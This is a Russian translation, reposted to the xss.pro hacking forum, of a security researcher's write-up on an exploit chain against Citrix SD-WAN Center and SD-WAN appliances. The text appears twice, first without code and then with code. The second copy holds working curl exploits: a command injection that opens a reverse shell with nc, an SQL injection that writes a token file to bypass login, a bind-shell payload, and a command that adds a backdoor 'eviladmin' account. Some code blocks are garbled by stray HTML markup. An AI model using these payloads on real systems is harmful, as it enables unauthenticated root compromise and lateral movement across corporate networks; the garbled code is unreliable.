Эксплойт против Citrix SD-WAN.
При проверке исправления для TRA-2019–18 я обнаружил несколько критических уязвимостей как в Citrix SD-WAN Center (SDWC), так и в самом устройстве SD-WAN (Программно-определяемые распределенные сети )(ранее известном как NetScaler SD-WAN). Оба пакета программного обеспечения могут быть скомпрометированы удаленным злоумышленником, не прошедшим проверку подлинности.
Это означает, что злоумышленник теоретически может перемещаться от узла к узлу, чтобы скомпрометировать всю SD-WAN. Линейка продуктов разработана, чтобы позволить организациям иметь программно-определяемые возможности глобальной сети, охватывающие географические регионы. Согласно странице историй клиентов Citrix, по всему миру есть много клиентов SD-WAN.
Запомните топологию сети, изображенную ниже, по ходу дела. Каждый узел представляет собой либо SDWC (например, головной узел, коллектор) или устройство SD-WAN (например, MCN, RCN, устройство филиала).
Несколько не прошедших проверку подлинности RCE в центре SD-WAN.
Citrix SD-WAN Center - это веб-приложение CakePHP, предназначенное для управления устройствами Citrix SD-WAN. Я написал вступление к CakePHP для “охотников” за багами, для тех из вас, кто хочет освежить тактику для изучения подобных приложений.
В большинстве случаев проверка подлинности осуществляется в приложении. Тем не менее, есть контроллер, который по сути действует как сквозной канал. CollectorController пересылает запросы другим контроллерам, эффективно обходя требование аутентификации целевого контроллера.
Например, обычно вы не можете запросить DiagnosticsController без аутентифицированного сеанса. Но CollectorController с радостью перенаправит запрос прямо в DiagnosticsController. Без этой логики все мои ошибки потребовали бы аутентификации. Ниже приведены два скриншота предварительно аутентифицированных запросов. Обратите внимание, что запрос к / Diagnostics приводит к ответу HTTP 302 (к / login), но запрос к / Collector приводит к 200.
302 Response /Diagnostics
200 Response /Collector
Давайте посмотрим поближе. В CollectorController метод beforeFilter явно предоставляет предварительно аутентифицированный доступ ко многим действиям. В этом случае мы сосредоточимся на диагностике.
Фрагмент кода ниже показывает, как определяется метод действия диагностики. Обратите внимание, как создается новый экземпляр DiagnosticsController для обработки запроса.
По сути, здесь происходит следующее: CollectorController сначала обрабатывает входящий HTTP-запрос, и вызывается действие диагностики. Затем запрос передается в DiagnosticsController, который сгенерирует ответ.
CollectorController forwards traffic
Как показано выше, в DiagnosticsController есть действие проверки связи. Этот метод действия содержит уязвимость внедрения команд ОС. Все три HTTP-параметра GET интерполируются без обработки в командную строку, которая выполняется функцией exec PHP. Благодаря CollectorController эта уязвимость может быть использована без аутентификации для получения root-доступа.
Ниже приведена команда curl, которую вы можете использовать, чтобы открыть обратную оболочку, подключившись обратно к IP 192.168.1.191 через TCP-порт 4444.
Чтобы продемонстрировать подтверждение концепции, вот короткое видео.
Я упомянул, что есть больше уязвимостей RCE. Посмотрите нашу консультацию по исследованиям, если вы заинтересованы (https://www.tenable.com/security/research/tra-2019-31). Ниже приведена топологическая диаграмма, показывающая, какие узлы SDWC могут быть укоренены до сих пор.
Объединение двух уязвимостей для рутирования устройства SD-WAN.
В случае устройства SD-WAN я не обнаружил уязвимость RCE, не прошедшую проверку подлинности. Однако я нашел способ обойти аутентификацию и нашел еще одну инъекцию команды ОС. При использовании в комбинации вы получаете root без учетных данных. В отличие от SD-WAN Center, эти уязвимости содержатся в скриптах Perl CGI.
Слабость 1: SQL-инъекция для обхода аутентификации на основе файлов.
Чаще всего проходят аутентификацию с использованием SQL-инъекций, потому что запрос на вход в систему не был должным образом очищен (например, «‘ или 1 = 1 - »). Обход, который я здесь описываю, совершенно другой.
В cgi-bin / sdwanrestapi / getpackagefile.cgi данных POST ожидается JSON, а запись site_name используется для построения нескольких SQL-запросов. Ниже приведен первый уязвимый запрос.
Обратите внимание, как $ site_name_arg объединяется в запрос. Его значение пришло прямо из JSON, как показано ниже.
Это классическая уязвимость SQL-инъекций. Необработанный пользовательский ввод объединяется в SQL-запрос. Boom! Но что можно сделать с этой уязвимостью? Я упоминал, что мы можем обойти аутентификацию. Если вы обращаете внимание, вы, вероятно, заметите, что этот запрос не имеет ничего общего с аутентификацией, так как мы можем обойти его? Давайте посмотрим на схему аутентификации.
Когда запрос получен, вызывается функция check_session () (определенная в utils.cgi), чтобы убедиться, что существует активный аутентифицированный сеанс. Одной из первых проверок является проверка того, связан ли запрос с сеансом единого входа, путем вызова check_swc_sso ().
Функция check_swc_sso () проверяет, существует ли файл токена в каталоге / tmp. Для этого сначала нужно получить значение токена из параметра GET swc-token. Затем скрипт ищет файл с именем «token_ $ sso_token» в каталоге / tmp, где $ sso_token содержит значение токена. Если он существует, запросу предоставляется доступ уровня 1 (администратор).
Давайте создадим запрос SQL-инъекции для создания файла токена в каталоге / tmp. Поскольку база данных - MySQL, мы можем записать в файл, используя синтаксис «SELECT… INTO OUTFILE». Инъекция выглядит следующим образом:
Использовав эту строку в JSON в качестве значения site_name, мы можем создать файл с именем «token_01234» в каталоге / tmp. Это означает, что значение «01234» теперь является действующим токеном SWC.
Вот как выглядит эксплойт для создания файла токена.
Вероятно, вы заметили, что эта уязвимость может быть активирована только в случае успешного вызова check_session. Это означает, что злоумышленник должен пройти проверку подлинности, чтобы использовать его. К счастью, у нас есть обход аутентификации в наших руках. Вот эксплойт для запуска оболочки связывания на устройстве. Обратите внимание, что значение токена используется в значении для swc-токена.
На диаграмме топологии ниже я показываю узлы устройства, которые можно рутировать, используя эти две уязвимости.
Это короткое видео, демонстрирующие цепную атаку.
Поворот от SDWC к устройству
Учитывая топологию с несколькими ветвями, возможно, злоумышленник может достичь только одного узла. Однако, поскольку мы можем получить root права на SDWC и устройство, злоумышленник может переходить с одной машины на другую.
Смотря на диаграмму сети, видео демонстрирует, как злоумышленник поворачивается от SDWC к устройству. Зеленые узлы на диаграмме относятся к этому сценарию. Тем не менее, опорный потенциал здесь бесконечен. Злоумышленник может перейти с SDWC на SDWC, с устройства на устройство или с SDWC на устройство (в любом направлении).
Прежде чем закончить, я хочу упомянуть одну вещь. Все эксплойты, которые я продемонстрировал в этой статье, доставляют полезную нагрузку, позволяющую атакующему получить оболочку; однако для создания новой учетной записи администратора для веб-интерфейса может быть предоставлена другая полезная нагрузка. Следующая команда добавляет пользователя-администратора с именем «eviladmin».
Вот скриншот, чтобы показать результат. Это работает как на SDWC, так и на устройстве.
eviladmin пользователь добавлен
Заключение
Я показал вам 3 уязвимости и эксплойта для взлома всей Citrix SD-WAN. Поскольку технологии глобальной сети все больше определяются программным обеспечением, крайне важно предпринять шаги для обеспечения безопасности этого программного обеспечения. Сети WAN определяют инфраструктуру, которая имеет решающее значение для непрерывности бизнеса, поэтому для обеспечения конфиденциальности, целостности и доступности этих сетей жизненно необходима потребность в основном базовом коде.
Мы опубликовали исследовательские рекомендации по обоим продуктам вместе с PoC. Если вам интересно, взгляните на TRA-2019–31, TRA-2019–32 и наш репозиторий PoC GitHub. Кроме того, для большей отдачи от бизнеса я рекомендую вам прочитать соответствующую статью в блоге Tenable. Наконец, Citrix выпустила бюллетень по безопасности и исправления для устранения обнаруженных уязвимостей.
Переведено cпециально для xss.pro
neopaket
Благодарю модератора weaver за предложение данного текста для перевода и admin за поддержку треда tabac про перевод статей для ныне полюбившегося мне форума XSS.
Оригинальная статья: https://medium.com/tenable-techblog/an-exploit-chain-against-citrix-sd-wan-709db08fb4ac
При проверке исправления для TRA-2019–18 я обнаружил несколько критических уязвимостей как в Citrix SD-WAN Center (SDWC), так и в самом устройстве SD-WAN (Программно-определяемые распределенные сети )(ранее известном как NetScaler SD-WAN). Оба пакета программного обеспечения могут быть скомпрометированы удаленным злоумышленником, не прошедшим проверку подлинности.
Это означает, что злоумышленник теоретически может перемещаться от узла к узлу, чтобы скомпрометировать всю SD-WAN. Линейка продуктов разработана, чтобы позволить организациям иметь программно-определяемые возможности глобальной сети, охватывающие географические регионы. Согласно странице историй клиентов Citrix, по всему миру есть много клиентов SD-WAN.
Запомните топологию сети, изображенную ниже, по ходу дела. Каждый узел представляет собой либо SDWC (например, головной узел, коллектор) или устройство SD-WAN (например, MCN, RCN, устройство филиала).
Несколько не прошедших проверку подлинности RCE в центре SD-WAN.
Citrix SD-WAN Center - это веб-приложение CakePHP, предназначенное для управления устройствами Citrix SD-WAN. Я написал вступление к CakePHP для “охотников” за багами, для тех из вас, кто хочет освежить тактику для изучения подобных приложений.
В большинстве случаев проверка подлинности осуществляется в приложении. Тем не менее, есть контроллер, который по сути действует как сквозной канал. CollectorController пересылает запросы другим контроллерам, эффективно обходя требование аутентификации целевого контроллера.
Например, обычно вы не можете запросить DiagnosticsController без аутентифицированного сеанса. Но CollectorController с радостью перенаправит запрос прямо в DiagnosticsController. Без этой логики все мои ошибки потребовали бы аутентификации. Ниже приведены два скриншота предварительно аутентифицированных запросов. Обратите внимание, что запрос к / Diagnostics приводит к ответу HTTP 302 (к / login), но запрос к / Collector приводит к 200.
302 Response /Diagnostics
200 Response /Collector
Давайте посмотрим поближе. В CollectorController метод beforeFilter явно предоставляет предварительно аутентифицированный доступ ко многим действиям. В этом случае мы сосредоточимся на диагностике.
Код:
public function beforeFilter()
{
// snip
// not shown: 19 other actions allowed
// allow unauth access to diagnostics action
$this->Auth->allow('diagnostics');
parent::beforeFilter();
}Фрагмент кода ниже показывает, как определяется метод действия диагностики. Обратите внимание, как создается новый экземпляр DiagnosticsController для обработки запроса.
Код:
public function diagnostics($resource)
{
$this->autoRender = false; // avoid to render view
$diagController = new DiagnosticsController($this->request, $this->response);
return $diagController->$resource();
}По сути, здесь происходит следующее: CollectorController сначала обрабатывает входящий HTTP-запрос, и вызывается действие диагностики. Затем запрос передается в DiagnosticsController, который сгенерирует ответ.
CollectorController forwards traffic
Как показано выше, в DiagnosticsController есть действие проверки связи. Этот метод действия содержит уязвимость внедрения команд ОС. Все три HTTP-параметра GET интерполируются без обработки в командную строку, которая выполняется функцией exec PHP. Благодаря CollectorController эта уязвимость может быть использована без аутентификации для получения root-доступа.
Ниже приведена команда curl, которую вы можете использовать, чтобы открыть обратную оболочку, подключившись обратно к IP 192.168.1.191 через TCP-порт 4444.
Код:
curl --insecure -d 'ipAddress=%60sudo+/bin/nc+-
nv+192.168.1.191+4444+-e+/bin/bash%60'
https://192.168.1.198/Collector/diagnostics/pingЧтобы продемонстрировать подтверждение концепции, вот короткое видео.
Я упомянул, что есть больше уязвимостей RCE. Посмотрите нашу консультацию по исследованиям, если вы заинтересованы (https://www.tenable.com/security/research/tra-2019-31). Ниже приведена топологическая диаграмма, показывающая, какие узлы SDWC могут быть укоренены до сих пор.
Объединение двух уязвимостей для рутирования устройства SD-WAN.
В случае устройства SD-WAN я не обнаружил уязвимость RCE, не прошедшую проверку подлинности. Однако я нашел способ обойти аутентификацию и нашел еще одну инъекцию команды ОС. При использовании в комбинации вы получаете root без учетных данных. В отличие от SD-WAN Center, эти уязвимости содержатся в скриптах Perl CGI.
Слабость 1: SQL-инъекция для обхода аутентификации на основе файлов.
Чаще всего проходят аутентификацию с использованием SQL-инъекций, потому что запрос на вход в систему не был должным образом очищен (например, «‘ или 1 = 1 - »). Обход, который я здесь описываю, совершенно другой.
В cgi-bin / sdwanrestapi / getpackagefile.cgi данных POST ожидается JSON, а запись site_name используется для построения нескольких SQL-запросов. Ниже приведен первый уязвимый запрос.
Код:
if($package_type eq "active"){
$query = "SELECT observed_sw_revision, appliance_name,
expected_sw_revision, package_file_name from
Network_Appliance_Active " .
"WHERE site_name ='" . $site_name_arg . "' AND " .
"appliance_id=" . $appliance_id_arg.";";
}Обратите внимание, как $ site_name_arg объединяется в запрос. Его значение пришло прямо из JSON, как показано ниже.
Код:
my $q = CGI->new;
my $json_data = $q->param('POSTDATA');
// snip
$package_data = decode_json($json_data);
// snip
my $site_name_arg = $package_data->{'get_package_file'}->{'site_name'};Это классическая уязвимость SQL-инъекций. Необработанный пользовательский ввод объединяется в SQL-запрос. Boom! Но что можно сделать с этой уязвимостью? Я упоминал, что мы можем обойти аутентификацию. Если вы обращаете внимание, вы, вероятно, заметите, что этот запрос не имеет ничего общего с аутентификацией, так как мы можем обойти его? Давайте посмотрим на схему аутентификации.
Когда запрос получен, вызывается функция check_session () (определенная в utils.cgi), чтобы убедиться, что существует активный аутентифицированный сеанс. Одной из первых проверок является проверка того, связан ли запрос с сеансом единого входа, путем вызова check_swc_sso ().
Код:
// cgi-bin/utils.cgi
sub check_session()
{
// snip
if(check_swc_sso($q, $redirect_title) == 1)
{
return 1;
}
// snip
}Функция check_swc_sso () проверяет, существует ли файл токена в каталоге / tmp. Для этого сначала нужно получить значение токена из параметра GET swc-token. Затем скрипт ищет файл с именем «token_ $ sso_token» в каталоге / tmp, где $ sso_token содержит значение токена. Если он существует, запросу предоставляется доступ уровня 1 (администратор).
Код:
-.25pt;mso-ansi-language:EN-US'>// cgi-bin/utils.cgilang=EN-US style='font-size:12.0pt;letter-spacing:-.25pt;mso-ansi-language:
EN-US'>
sub check_swc_sso
{
my ($q, $redirect_title) = href="http://twitter.com/_">letter-spacing:-.25pt;mso-ansi-language:EN-US'>@_lang=EN-US style='font-size:12.0pt;letter-spacing:-.25pt;mso-ansi-language:
EN-US'>;-.25pt;mso-ansi-language:EN-US'>
my $sso_token = initialize_if_blank(scalar($q->param('style='font-family:"Courier New"'>swc-token')));if($sso_token ne "" && style='font-family:"Courier New"'>-e "/tmp/token_$sso_token"class=lf> ) {
write_to_access_log("SSO token found\n");
my $level = "1";
// snip
}Давайте создадим запрос SQL-инъекции для создания файла токена в каталоге / tmp. Поскольку база данных - MySQL, мы можем записать в файл, используя синтаксис «SELECT… INTO OUTFILE». Инъекция выглядит следующим образом:
Код:
blah' UNION SELECT 'tenable','zero','day','research' INTO OUTFILE '/tmp/token_01234';#Использовав эту строку в JSON в качестве значения site_name, мы можем создать файл с именем «token_01234» в каталоге / tmp. Это означает, что значение «01234» теперь является действующим токеном SWC.
Вот как выглядит эксплойт для создания файла токена.
Код:
curl --insecure -H 'SSL_CLIENT_VERIFY: SUCCESS' -H 'Content-Type: application/json' -d '{"get_package_file": {"site_name": "blah'"' union select 'tenable','zero','day','research' INTO OUTFILE '/tmp/token_01234';#\""',"appliance_type": "primary","package_type": "active"}}' https://192.168.1.212/sdwan/nitro/v1/config/get_package_file?action=file_download
/CODE]
Слабость 2: Классический ввод команд ОС
Я обнаружил еще одну уязвимость внедрения команд ОС. Параметр GET, installfile, интерполируется непосредственно внутри вызова системной функции Perl.
[CODE]
// cgi-bin/installpatch.cgi
if (check_session($q))
{
// snip
my $fullname = $q->param('installfile');
// snip
system("sudo sh -c \"echo sudo -i /home/talariuser/bin/os_patch_installer.pl --package=/home/talariuser/install/os_patch/$fullname | at now\"");
}Вероятно, вы заметили, что эта уязвимость может быть активирована только в случае успешного вызова check_session. Это означает, что злоумышленник должен пройти проверку подлинности, чтобы использовать его. К счастью, у нас есть обход аутентификации в наших руках. Вот эксплойт для запуска оболочки связывания на устройстве. Обратите внимание, что значение токена используется в значении для swc-токена.
Код:
curl --insecure 'https://192.168.1.215/cgi-bin/installpatch.cgi?swc-token=01234&installfile=`/usr/bin/sudo%20/bin/nc%20-lp%204444%20-e%20/bin/bash`'На диаграмме топологии ниже я показываю узлы устройства, которые можно рутировать, используя эти две уязвимости.
Это короткое видео, демонстрирующие цепную атаку.
Поворот от SDWC к устройству
Учитывая топологию с несколькими ветвями, возможно, злоумышленник может достичь только одного узла. Однако, поскольку мы можем получить root права на SDWC и устройство, злоумышленник может переходить с одной машины на другую.
Смотря на диаграмму сети, видео демонстрирует, как злоумышленник поворачивается от SDWC к устройству. Зеленые узлы на диаграмме относятся к этому сценарию. Тем не менее, опорный потенциал здесь бесконечен. Злоумышленник может перейти с SDWC на SDWC, с устройства на устройство или с SDWC на устройство (в любом направлении).
Прежде чем закончить, я хочу упомянуть одну вещь. Все эксплойты, которые я продемонстрировал в этой статье, доставляют полезную нагрузку, позволяющую атакующему получить оболочку; однако для создания новой учетной записи администратора для веб-интерфейса может быть предоставлена другая полезная нагрузка. Следующая команда добавляет пользователя-администратора с именем «eviladmin».
Код:
perl /home/talariuser/bin/user_management.pl addUser eviladmin evilpassword 1Вот скриншот, чтобы показать результат. Это работает как на SDWC, так и на устройстве.
eviladmin пользователь добавлен
Заключение
Я показал вам 3 уязвимости и эксплойта для взлома всей Citrix SD-WAN. Поскольку технологии глобальной сети все больше определяются программным обеспечением, крайне важно предпринять шаги для обеспечения безопасности этого программного обеспечения. Сети WAN определяют инфраструктуру, которая имеет решающее значение для непрерывности бизнеса, поэтому для обеспечения конфиденциальности, целостности и доступности этих сетей жизненно необходима потребность в основном базовом коде.
Мы опубликовали исследовательские рекомендации по обоим продуктам вместе с PoC. Если вам интересно, взгляните на TRA-2019–31, TRA-2019–32 и наш репозиторий PoC GitHub. Кроме того, для большей отдачи от бизнеса я рекомендую вам прочитать соответствующую статью в блоге Tenable. Наконец, Citrix выпустила бюллетень по безопасности и исправления для устранения обнаруженных уязвимостей.
Переведено cпециально для xss.pro
neopaket
Благодарю модератора weaver за предложение данного текста для перевода и admin за поддержку треда tabac про перевод статей для ныне полюбившегося мне форума XSS.
Оригинальная статья: https://medium.com/tenable-techblog/an-exploit-chain-against-citrix-sd-wan-709db08fb4ac
